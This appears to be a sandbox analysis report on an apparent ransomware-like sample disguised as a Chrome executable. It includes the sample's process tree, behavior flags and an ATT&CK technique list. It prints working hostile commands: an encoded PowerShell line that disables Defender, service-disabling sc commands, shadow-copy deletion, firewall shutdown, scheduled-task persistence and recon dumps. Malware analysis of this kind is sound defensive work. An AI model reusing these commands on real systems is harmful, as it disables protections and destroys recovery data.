PID 3824 wrote to memory of 4668	3824	docask.io_chrome.exe	194
PID 5600 wrote to memory of 3060	5600	cmd.exe	157
PID 3452 wrote to memory of 2936	3452	cmd.exe	158
PID 3824 wrote to memory of 3356	3824	docask.io_chrome.exe	159
PID 1244 wrote to memory of 1164	1244	cmd.exe	160
PID 3400 wrote to memory of 3896	3400	cmd.exe	161
PID 2260 wrote to memory of 1192	2260	cmd.exe	162
PID 2476 wrote to memory of 4164	2476	cmd.exe	163
PID 2936 wrote to memory of 5944	2936	net.exe	164
PID 3048 wrote to memory of 5716	3048	cmd.exe	165
PID 3048 wrote to memory of 824	3048	cmd.exe	193
PID 3824 wrote to memory of 4120	3824	docask.io_chrome.exe	167
PID 3824 wrote to memory of 1556	3824	docask.io_chrome.exe	168
PID 3824 wrote to memory of 3012	3824	docask.io_chrome.exe	169
PID 3824 wrote to memory of 4656	3824	docask.io_chrome.exe	170
PID 3824 wrote to memory of 480	3824	docask.io_chrome.exe	171
PID 3824 wrote to memory of 2080	3824	docask.io_chrome.exe	184
PID 3012 wrote to memory of 4752	3012	net.exe	179
PID 4308 wrote to memory of 5012	4308	chrome.exe	181
PID 4308 wrote to memory of 4500	4308	chrome.exe	182
PID 4308 wrote to memory of 4500	4308	chrome.exe	182
PID 4308 wrote to memory of 2772	4308	chrome.exe	183
PID 4308 wrote to memory of 2772	4308	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://docask.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdd56cc728,0x7ffdd56cc734,0x7ffdd56cc740
    3⤵
    PID:52
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3288474202567080011,16619622716695245639,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,8005664616006897150,1665298888519382809,262144 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=2060 /prefetch:2
    3⤵
    PID:4756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,11215443041803797670,13242120725403703192,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=2432 /prefetch:13
    3⤵
    PID:2844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3128,i,2094419411552976528,5647789471820931672,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:4956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3144,i,5283944164294194033,2678520939034023791,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:3940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,4090558628820254199,5921854398891658781,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
    3⤵
    PID:3012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4840,i,6118438264873986113,14317478594165198287,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:3196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4832,i,859681110256756797,4548269353005380588,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:14
    3⤵
    PID:5012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=3468,i,2011159175118046212,18376676717125763391,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:4500
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3488,i,13827868388004405053,13251787702038485490,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:1
    3⤵
    PID:2772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5616,i,17956441462843064205,6051682115796150408,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:2364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=3436,i,4050074101815689237,9085374912789278098,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
    3⤵
    PID:2776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5984,i,3661484716983431225,4823895812851980242,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:5896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5724,i,4103411559879827458,8978237489483362816,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:1
    3⤵
    PID:2456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,7313978439526056668,15132261606576911414,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:4516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5660,i,12349934765126741009,10118283929321945394,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
    3⤵
    PID:2164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,7902123057981901056,14127003815780763179,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
    3⤵
    PID:824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5856,i,7211287086010293575,925406254737754569,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:14
    3⤵
    PID:4668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3484,i,6525822328393395024,1022918020189461306,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6004,i,11854984190338826922,16880190167215813345,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:1
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5992,i,14665937104414096204,6134906696512135289,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:14
    3⤵
    PID:864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5988,i,8280983367300796551,7737528555946616836,524288 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:14
    3⤵
    PID:300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6092,i,11732352721190600278,10135022702998935150,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:2236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6140,i,16564170411892867087,15991838929504242399,2097152 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:9
    3⤵
    PID:5796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1232,i,4940080100381316563,6940565616819360852,262144 --field-trial-handle=2080,i,9326265931582561118,6566618008718069601,262144 --variations-seed-version --mojo-platform-channel-handle=896 /prefetch:10
    3⤵
    PID:5524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4752
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4616
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4844
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe"
    3⤵
    PID:4596
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5944
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4800
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2236
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4528
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2324
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5716
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1164
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:1192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2936
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4164
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3896
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:312
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4668
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3356
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4120
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1556
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4752
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4656
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2080

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2528

C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
1⤵
PID:2812

C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\docask.io_chrome.exe
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery